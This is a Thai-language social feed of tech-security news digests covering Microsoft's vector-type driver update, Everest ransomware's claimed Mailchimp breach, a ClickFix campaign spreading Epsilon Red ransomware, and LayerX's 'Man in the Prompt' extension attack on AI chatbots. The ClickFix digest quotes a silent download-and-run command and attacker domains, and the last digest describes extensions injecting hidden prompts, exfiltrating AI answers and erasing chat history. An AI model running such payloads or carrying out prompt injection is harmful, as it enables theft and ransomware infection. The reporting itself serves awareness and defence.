    ในฝั่ง .NET มีการเพิ่มคลาสใหม่ชื่อ SqlVector ใน Microsoft.Data.SqlClient 6.1.0 ซึ่งสามารถจัดการข้อมูลเวกเตอร์ได้โดยตรง แทนการใช้ JSON array แบบเดิมที่ช้าและกินหน่วยความจำมาก โดยผลการทดสอบพบว่า:

    - อ่านข้อมูลเร็วขึ้นถึง 50 เท่า
    - เขียนข้อมูลเร็วขึ้น 3.3 เท่า
    - ทำ bulk copy เร็วขึ้น 19 เท่า

    ในฝั่ง JDBC ก็มีการเพิ่ม VECTOR data type ในเวอร์ชัน 13.1.0 ซึ่งสามารถใช้ในคำสั่ง insert, select, stored procedure และ bulk copy ได้โดยตรง—เหมาะกับแอปพลิเคชัน Java ที่ใช้ AI และ semantic search

    การปรับปรุงนี้รองรับ SQL Server 2025 Preview, Azure SQL Database, Azure SQL Managed Instance และ Microsoft Fabric Preview โดยต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป

    Microsoft อัปเดต .NET และ JDBC drivers ให้รองรับ vector data type แบบเนทีฟ
    .NET ใช้ SqlVector class ใน Microsoft.Data.SqlClient 6.1.0
    JDBC ใช้ VECTOR data type ในเวอร์ชัน 13.1.0

    ประสิทธิภาพดีขึ้นอย่างมากเมื่อเทียบกับการใช้ JSON array
    อ่านข้อมูลเร็วขึ้น 50 เท่า
    เขียนข้อมูลเร็วขึ้น 3.3 เท่า
    ทำ bulk copy เร็วขึ้น 19 เท่า

    ลดการใช้หน่วยความจำ เพราะไม่ต้อง serialize JSON อีกต่อไป
    ใช้ binary format สำหรับจัดเก็บเวกเตอร์
    รองรับ float 32-bit และสามารถขยายไปยัง numeric type อื่นในอนาคต

    รองรับการใช้งานใน SQL Server 2025, Azure SQL Database, Managed Instance และ Microsoft Fabric
    ต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป
    ถ้าใช้เวอร์ชันเก่าจะยังคงใช้ varchar(max) และ JSON array

    เหมาะกับงาน AI เช่น semantic search, recommendation, NLP และ fraud detection
    ใช้เวกเตอร์แทนข้อมูล เช่น embeddings จากข้อความหรือภาพ
    รองรับการค้นหาแบบ k-NN และการวัดระยะห่างด้วย cosine, Euclidean, dot product

    https://www.neowin.net/news/net-and-jdbc-drivers-get-native-vector-data-support-enabling-up-to-50x-faster-reads/
    🧠 เรื่องเล่าจากข่าว: “SQL Server 2025” กับการปฏิวัติการจัดการข้อมูลเวกเตอร์ ในยุคที่ AI กลายเป็นเครื่องมือประจำวันของทั้งนักพัฒนาและผู้ใช้ทั่วไป Microsoft จึงเดินหน้าอัปเดตไดรเวอร์ .NET และ JDBC ให้รองรับ vector data type แบบเนทีฟ เพื่อให้ SQL Server 2025 และ Azure SQL Database ทำงานกับข้อมูลเวกเตอร์ได้เร็วขึ้นและมีประสิทธิภาพมากขึ้น ในฝั่ง .NET มีการเพิ่มคลาสใหม่ชื่อ SqlVector ใน Microsoft.Data.SqlClient 6.1.0 ซึ่งสามารถจัดการข้อมูลเวกเตอร์ได้โดยตรง แทนการใช้ JSON array แบบเดิมที่ช้าและกินหน่วยความจำมาก โดยผลการทดสอบพบว่า: - อ่านข้อมูลเร็วขึ้นถึง 50 เท่า - เขียนข้อมูลเร็วขึ้น 3.3 เท่า - ทำ bulk copy เร็วขึ้น 19 เท่า ในฝั่ง JDBC ก็มีการเพิ่ม VECTOR data type ในเวอร์ชัน 13.1.0 ซึ่งสามารถใช้ในคำสั่ง insert, select, stored procedure และ bulk copy ได้โดยตรง—เหมาะกับแอปพลิเคชัน Java ที่ใช้ AI และ semantic search การปรับปรุงนี้รองรับ SQL Server 2025 Preview, Azure SQL Database, Azure SQL Managed Instance และ Microsoft Fabric Preview โดยต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป ✅ Microsoft อัปเดต .NET และ JDBC drivers ให้รองรับ vector data type แบบเนทีฟ ➡️ .NET ใช้ SqlVector class ใน Microsoft.Data.SqlClient 6.1.0 ➡️ JDBC ใช้ VECTOR data type ในเวอร์ชัน 13.1.0 ✅ ประสิทธิภาพดีขึ้นอย่างมากเมื่อเทียบกับการใช้ JSON array ➡️ อ่านข้อมูลเร็วขึ้น 50 เท่า ➡️ เขียนข้อมูลเร็วขึ้น 3.3 เท่า ➡️ ทำ bulk copy เร็วขึ้น 19 เท่า ✅ ลดการใช้หน่วยความจำ เพราะไม่ต้อง serialize JSON อีกต่อไป ➡️ ใช้ binary format สำหรับจัดเก็บเวกเตอร์ ➡️ รองรับ float 32-bit และสามารถขยายไปยัง numeric type อื่นในอนาคต ✅ รองรับการใช้งานใน SQL Server 2025, Azure SQL Database, Managed Instance และ Microsoft Fabric ➡️ ต้องใช้ TDS protocol เวอร์ชัน 7.4 ขึ้นไป ➡️ ถ้าใช้เวอร์ชันเก่าจะยังคงใช้ varchar(max) และ JSON array ✅ เหมาะกับงาน AI เช่น semantic search, recommendation, NLP และ fraud detection ➡️ ใช้เวกเตอร์แทนข้อมูล เช่น embeddings จากข้อความหรือภาพ ➡️ รองรับการค้นหาแบบ k-NN และการวัดระยะห่างด้วย cosine, Euclidean, dot product https://www.neowin.net/news/net-and-jdbc-drivers-get-native-vector-data-support-enabling-up-to-50x-faster-reads/
    WWW.NEOWIN.NET
    .NET and JDBC drivers get native vector data support, enabling up to 50x faster reads
    Microsoft has introduced native support for vectors in .NET and JDBC drivers, enabling up to 50x read speed improvements and 3.3x for write operations.
    0 ความคิดเห็น 0 การแบ่งปัน 89 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: “Mailchimp โดนเจาะ” กับเบื้องหลังของ Everest ที่ไม่ธรรมดา

    Everest ransomware เป็นกลุ่มแฮกเกอร์ที่ใช้โมเดล “double extortion” คือเข้ารหัสไฟล์ของเหยื่อ และขโมยข้อมูลไปเผยแพร่เพื่อกดดันให้จ่ายค่าไถ่ ล่าสุดพวกเขาอ้างว่าได้เจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลที่มีผู้ใช้กว่า 14 ล้านรายทั่วโลก

    ข้อมูลที่ถูกขโมยมีขนาด 767 MB รวมกว่า 943,536 บรรทัด ซึ่งดูเหมือนจะเป็นข้อมูลจากระบบ CRM หรือการส่งออกจากฐานข้อมูลลูกค้า มากกว่าจะเป็นข้อมูลภายในของ Mailchimp เอง เช่น ชื่อบริษัท, อีเมล, เบอร์โทร, โดเมน, เทคโนโลยีที่ใช้ (Shopify, WordPress, Google Cloud ฯลฯ)

    แม้จะไม่ใช่การเจาะระบบหลัก แต่การโจมตีนี้เกิดขึ้นในช่วงที่แรนซัมแวร์กำลังระบาดหนัก—ในเวลาใกล้กัน INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree และ GLOBAL GROUP อ้างว่าเจาะ Albavisión ได้ 400 GB ส่วน Medusa ก็เรียกค่าไถ่ NASCAR ถึง $4 ล้าน

    Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 943,536 รายการ
    ขนาดไฟล์รวม 767 MB ถูกเผยแพร่บน dark web
    ข้อมูลดูเหมือนมาจากระบบ CRM ไม่ใช่ระบบภายในของ Mailchimp

    ข้อมูลที่รั่วไหลประกอบด้วยข้อมูลธุรกิจ เช่น โดเมน, อีเมล, เบอร์โทร, เทคโนโลยีที่ใช้
    มีข้อมูลเกี่ยวกับ GDPR, โซเชียลมีเดีย, และผู้ให้บริการ hosting
    จัดเรียงแบบ spreadsheet แสดงว่าอาจมาจากการส่งออกข้อมูลลูกค้า

    Everest ใช้โมเดล double extortion—เข้ารหัสไฟล์และขู่เปิดเผยข้อมูล
    เคยโจมตี Coca-Cola ในเดือนพฤษภาคม 2025 และเผยแพร่ข้อมูลพนักงาน
    ใช้ dark web leak site เป็นเครื่องมือกดดันเหยื่อ

    Mailchimp เป็นบริษัทใหญ่ที่มีผู้ใช้กว่า 14 ล้านราย และถูก Intuit ซื้อกิจการในปี 2021
    มีรายได้ปีละ $61 พันล้าน และถือครองตลาดอีเมลถึง 2 ใน 3
    การโจมตีแม้จะเล็ก แต่กระทบต่อภาพลักษณ์และความเชื่อมั่น

    ในเดือนกรกฎาคม 2025 มีการโจมตีหลายกรณีที่น่าจับตา
    INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree
    GLOBAL GROUP เจาะ Albavisión ได้ 400 GB
    Medusa เรียกค่าไถ่ NASCAR $4 ล้าน พร้อมขู่เปิดเผยข้อมูล

    https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/
    🧠 เรื่องเล่าจากข่าว: “Mailchimp โดนเจาะ” กับเบื้องหลังของ Everest ที่ไม่ธรรมดา Everest ransomware เป็นกลุ่มแฮกเกอร์ที่ใช้โมเดล “double extortion” คือเข้ารหัสไฟล์ของเหยื่อ และขโมยข้อมูลไปเผยแพร่เพื่อกดดันให้จ่ายค่าไถ่ ล่าสุดพวกเขาอ้างว่าได้เจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลที่มีผู้ใช้กว่า 14 ล้านรายทั่วโลก ข้อมูลที่ถูกขโมยมีขนาด 767 MB รวมกว่า 943,536 บรรทัด ซึ่งดูเหมือนจะเป็นข้อมูลจากระบบ CRM หรือการส่งออกจากฐานข้อมูลลูกค้า มากกว่าจะเป็นข้อมูลภายในของ Mailchimp เอง เช่น ชื่อบริษัท, อีเมล, เบอร์โทร, โดเมน, เทคโนโลยีที่ใช้ (Shopify, WordPress, Google Cloud ฯลฯ) แม้จะไม่ใช่การเจาะระบบหลัก แต่การโจมตีนี้เกิดขึ้นในช่วงที่แรนซัมแวร์กำลังระบาดหนัก—ในเวลาใกล้กัน INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree และ GLOBAL GROUP อ้างว่าเจาะ Albavisión ได้ 400 GB ส่วน Medusa ก็เรียกค่าไถ่ NASCAR ถึง $4 ล้าน ✅ Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 943,536 รายการ ➡️ ขนาดไฟล์รวม 767 MB ถูกเผยแพร่บน dark web ➡️ ข้อมูลดูเหมือนมาจากระบบ CRM ไม่ใช่ระบบภายในของ Mailchimp ✅ ข้อมูลที่รั่วไหลประกอบด้วยข้อมูลธุรกิจ เช่น โดเมน, อีเมล, เบอร์โทร, เทคโนโลยีที่ใช้ ➡️ มีข้อมูลเกี่ยวกับ GDPR, โซเชียลมีเดีย, และผู้ให้บริการ hosting ➡️ จัดเรียงแบบ spreadsheet แสดงว่าอาจมาจากการส่งออกข้อมูลลูกค้า ✅ Everest ใช้โมเดล double extortion—เข้ารหัสไฟล์และขู่เปิดเผยข้อมูล ➡️ เคยโจมตี Coca-Cola ในเดือนพฤษภาคม 2025 และเผยแพร่ข้อมูลพนักงาน ➡️ ใช้ dark web leak site เป็นเครื่องมือกดดันเหยื่อ ✅ Mailchimp เป็นบริษัทใหญ่ที่มีผู้ใช้กว่า 14 ล้านราย และถูก Intuit ซื้อกิจการในปี 2021 ➡️ มีรายได้ปีละ $61 พันล้าน และถือครองตลาดอีเมลถึง 2 ใน 3 ➡️ การโจมตีแม้จะเล็ก แต่กระทบต่อภาพลักษณ์และความเชื่อมั่น ✅ ในเดือนกรกฎาคม 2025 มีการโจมตีหลายกรณีที่น่าจับตา ➡️ INC Ransom อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree ➡️ GLOBAL GROUP เจาะ Albavisión ได้ 400 GB ➡️ Medusa เรียกค่าไถ่ NASCAR $4 ล้าน พร้อมขู่เปิดเผยข้อมูล https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/
    HACKREAD.COM
    Everest Ransomware Claims Mailchimp as New Victim in Relatively Small Breach
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 ความคิดเห็น 0 การแบ่งปัน 92 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ

    ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows

    เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ

    เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น

    Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย

    Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix”
    หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans
    หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย

    ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH)
    เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0)
    ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง

    แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้
    เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย
    ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง

    Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่
    มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง
    ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส

    โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี
    เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269
    มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี

    ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก
    ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว
    การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป

    องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง
    ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว
    Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที

    การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น
    ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch
    ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ

    ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา
    การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน
    ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย

    https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    HACKREAD.COM
    OnlyFans, Discord ClickFix-Themed Pages Spread Epsilon Red Ransomware
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 ความคิดเห็น 0 การแบ่งปัน 96 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: “Man in the Prompt” เมื่อ AI กลายเป็นผู้ช่วยโจรกรรมข้อมูล

    นักวิจัยจากบริษัท LayerX ค้นพบช่องโหว่ใหม่ที่เรียกว่า “Man in the Prompt” ซึ่งอาศัยความจริงที่ว่า ช่องใส่คำสั่ง (prompt input) ของ AI บนเว็บเบราว์เซอร์เป็นส่วนหนึ่งของโครงสร้างหน้าเว็บ (Document Object Model หรือ DOM) นั่นหมายความว่า ส่วนเสริมใด ๆ ที่เข้าถึง DOM ได้ ก็สามารถอ่านหรือเขียนคำสั่งลงในช่อง prompt ได้ทันที—even ถ้าไม่มีสิทธิ์พิเศษ!

    แฮกเกอร์สามารถใช้ส่วนเสริมที่เป็นอันตราย (หรือซื้อสิทธิ์จากส่วนเสริมที่มีอยู่แล้ว) เพื่อแอบแฝงคำสั่งลับ, ดึงข้อมูลจากคำตอบของ AI, หรือแม้แต่ลบประวัติการสนทนาเพื่อไม่ให้ผู้ใช้รู้ตัว

    LayerX ได้ทดลองโจมตีจริงกับ ChatGPT และ Google Gemini โดยใช้ส่วนเสริมที่ดูไม่มีพิษภัย แต่สามารถเปิดแท็บลับ, ส่งคำสั่งไปยัง AI, ดึงข้อมูลออก และลบหลักฐานทั้งหมด

    สิ่งที่น่ากลัวคือ AI เหล่านี้มักถูกใช้ในองค์กรเพื่อประมวลผลข้อมูลลับ เช่น เอกสารภายใน, แผนธุรกิจ, หรือรหัสโปรแกรม—ซึ่งอาจถูกขโมยไปโดยไม่รู้ตัว

    “Man in the Prompt” คือการโจมตีผ่านส่วนเสริมเบราว์เซอร์ที่แอบแฝงคำสั่งในช่อง prompt ของ AI
    ใช้ช่องโหว่ของ DOM ที่เปิดให้ส่วนเสริมเข้าถึงข้อมูลในหน้าเว็บ
    ไม่ต้องใช้สิทธิ์พิเศษก็สามารถอ่าน/เขียนคำสั่งได้

    AI ที่ได้รับผลกระทบ ได้แก่ ChatGPT, Gemini, Claude, Copilot และ Deepseek
    ทั้ง AI เชิงพาณิชย์และ AI ภายในองค์กร
    มีการทดสอบจริงและแสดงผลสำเร็จ

    ส่วนเสริมสามารถแอบส่งคำสั่ง, ดึงข้อมูล, และลบประวัติการสนทนาได้
    เช่น เปิดแท็บลับ, ส่งคำสั่งไปยัง ChatGPT, ดึงผลลัพธ์, แล้วลบแชท
    Gemini สามารถถูกโจมตีผ่าน sidebar ที่เชื่อมกับ Google Workspace

    ข้อมูลที่เสี่ยงต่อการรั่วไหล ได้แก่ อีเมล, เอกสาร, รหัส, แผนธุรกิจ และทรัพย์สินทางปัญญา
    โดยเฉพาะ AI ภายในองค์กรที่ฝึกด้วยข้อมูลลับ
    มีความเชื่อมั่นสูงแต่ขาดระบบป้องกันคำสั่งแฝง

    LayerX แนะนำให้ตรวจสอบพฤติกรรม DOM ของส่วนเสริมแทนการดูแค่สิทธิ์ที่ประกาศไว้
    ปรับระบบความปลอดภัยให้มองเห็นการเปลี่ยนแปลงใน DOM
    ป้องกันการแอบแฝงคำสั่งและการดึงข้อมูลแบบเรียลไทม์

    ส่วนเสริมที่ดูปลอดภัยอาจถูกแฮกหรือซื้อสิทธิ์ไปใช้โจมตีได้
    เช่น ส่วนเสริมที่มีฟีเจอร์จัดการ prompt อาจถูกใช้เพื่อแอบแฝงคำสั่ง
    ไม่ต้องมีการติดตั้งใหม่หรืออนุญาตใด ๆ จากผู้ใช้

    ระบบความปลอดภัยแบบเดิมไม่สามารถตรวจจับการโจมตีในระดับ DOM ได้
    เช่น DLP หรือ Secure Web Gateway ไม่เห็นการเปลี่ยนแปลงใน DOM
    การบล็อก URL ของ AI ไม่ช่วยป้องกันการโจมตีภายในเบราว์เซอร์

    องค์กรที่อนุญาตให้ติดตั้งส่วนเสริมอย่างเสรีมีความเสี่ยงสูงมาก
    พนักงานอาจติดตั้งส่วนเสริมที่เป็นอันตรายโดยไม่รู้ตัว
    ข้อมูลภายในองค์กรอาจถูกขโมยผ่าน AI ที่เชื่อมกับเบราว์เซอร์

    AI ที่ฝึกด้วยข้อมูลลับภายในองค์กรมีความเสี่ยงสูงสุด
    เช่น ข้อมูลทางกฎหมาย, การเงิน, หรือกลยุทธ์
    หากถูกดึงออกผ่าน prompt จะไม่มีทางรู้ตัวเลย

    https://hackread.com/browser-extensions-exploit-chatgpt-gemini-man-in-the-prompt/
    🧠 เรื่องเล่าจากข่าว: “Man in the Prompt” เมื่อ AI กลายเป็นผู้ช่วยโจรกรรมข้อมูล นักวิจัยจากบริษัท LayerX ค้นพบช่องโหว่ใหม่ที่เรียกว่า “Man in the Prompt” ซึ่งอาศัยความจริงที่ว่า ช่องใส่คำสั่ง (prompt input) ของ AI บนเว็บเบราว์เซอร์เป็นส่วนหนึ่งของโครงสร้างหน้าเว็บ (Document Object Model หรือ DOM) นั่นหมายความว่า ส่วนเสริมใด ๆ ที่เข้าถึง DOM ได้ ก็สามารถอ่านหรือเขียนคำสั่งลงในช่อง prompt ได้ทันที—even ถ้าไม่มีสิทธิ์พิเศษ! แฮกเกอร์สามารถใช้ส่วนเสริมที่เป็นอันตราย (หรือซื้อสิทธิ์จากส่วนเสริมที่มีอยู่แล้ว) เพื่อแอบแฝงคำสั่งลับ, ดึงข้อมูลจากคำตอบของ AI, หรือแม้แต่ลบประวัติการสนทนาเพื่อไม่ให้ผู้ใช้รู้ตัว LayerX ได้ทดลองโจมตีจริงกับ ChatGPT และ Google Gemini โดยใช้ส่วนเสริมที่ดูไม่มีพิษภัย แต่สามารถเปิดแท็บลับ, ส่งคำสั่งไปยัง AI, ดึงข้อมูลออก และลบหลักฐานทั้งหมด สิ่งที่น่ากลัวคือ AI เหล่านี้มักถูกใช้ในองค์กรเพื่อประมวลผลข้อมูลลับ เช่น เอกสารภายใน, แผนธุรกิจ, หรือรหัสโปรแกรม—ซึ่งอาจถูกขโมยไปโดยไม่รู้ตัว ✅ “Man in the Prompt” คือการโจมตีผ่านส่วนเสริมเบราว์เซอร์ที่แอบแฝงคำสั่งในช่อง prompt ของ AI ➡️ ใช้ช่องโหว่ของ DOM ที่เปิดให้ส่วนเสริมเข้าถึงข้อมูลในหน้าเว็บ ➡️ ไม่ต้องใช้สิทธิ์พิเศษก็สามารถอ่าน/เขียนคำสั่งได้ ✅ AI ที่ได้รับผลกระทบ ได้แก่ ChatGPT, Gemini, Claude, Copilot และ Deepseek ➡️ ทั้ง AI เชิงพาณิชย์และ AI ภายในองค์กร ➡️ มีการทดสอบจริงและแสดงผลสำเร็จ ✅ ส่วนเสริมสามารถแอบส่งคำสั่ง, ดึงข้อมูล, และลบประวัติการสนทนาได้ ➡️ เช่น เปิดแท็บลับ, ส่งคำสั่งไปยัง ChatGPT, ดึงผลลัพธ์, แล้วลบแชท ➡️ Gemini สามารถถูกโจมตีผ่าน sidebar ที่เชื่อมกับ Google Workspace ✅ ข้อมูลที่เสี่ยงต่อการรั่วไหล ได้แก่ อีเมล, เอกสาร, รหัส, แผนธุรกิจ และทรัพย์สินทางปัญญา ➡️ โดยเฉพาะ AI ภายในองค์กรที่ฝึกด้วยข้อมูลลับ ➡️ มีความเชื่อมั่นสูงแต่ขาดระบบป้องกันคำสั่งแฝง ✅ LayerX แนะนำให้ตรวจสอบพฤติกรรม DOM ของส่วนเสริมแทนการดูแค่สิทธิ์ที่ประกาศไว้ ➡️ ปรับระบบความปลอดภัยให้มองเห็นการเปลี่ยนแปลงใน DOM ➡️ ป้องกันการแอบแฝงคำสั่งและการดึงข้อมูลแบบเรียลไทม์ ‼️ ส่วนเสริมที่ดูปลอดภัยอาจถูกแฮกหรือซื้อสิทธิ์ไปใช้โจมตีได้ ⛔ เช่น ส่วนเสริมที่มีฟีเจอร์จัดการ prompt อาจถูกใช้เพื่อแอบแฝงคำสั่ง ⛔ ไม่ต้องมีการติดตั้งใหม่หรืออนุญาตใด ๆ จากผู้ใช้ ‼️ ระบบความปลอดภัยแบบเดิมไม่สามารถตรวจจับการโจมตีในระดับ DOM ได้ ⛔ เช่น DLP หรือ Secure Web Gateway ไม่เห็นการเปลี่ยนแปลงใน DOM ⛔ การบล็อก URL ของ AI ไม่ช่วยป้องกันการโจมตีภายในเบราว์เซอร์ ‼️ องค์กรที่อนุญาตให้ติดตั้งส่วนเสริมอย่างเสรีมีความเสี่ยงสูงมาก ⛔ พนักงานอาจติดตั้งส่วนเสริมที่เป็นอันตรายโดยไม่รู้ตัว ⛔ ข้อมูลภายในองค์กรอาจถูกขโมยผ่าน AI ที่เชื่อมกับเบราว์เซอร์ ‼️ AI ที่ฝึกด้วยข้อมูลลับภายในองค์กรมีความเสี่ยงสูงสุด ⛔ เช่น ข้อมูลทางกฎหมาย, การเงิน, หรือกลยุทธ์ ⛔ หากถูกดึงออกผ่าน prompt จะไม่มีทางรู้ตัวเลย 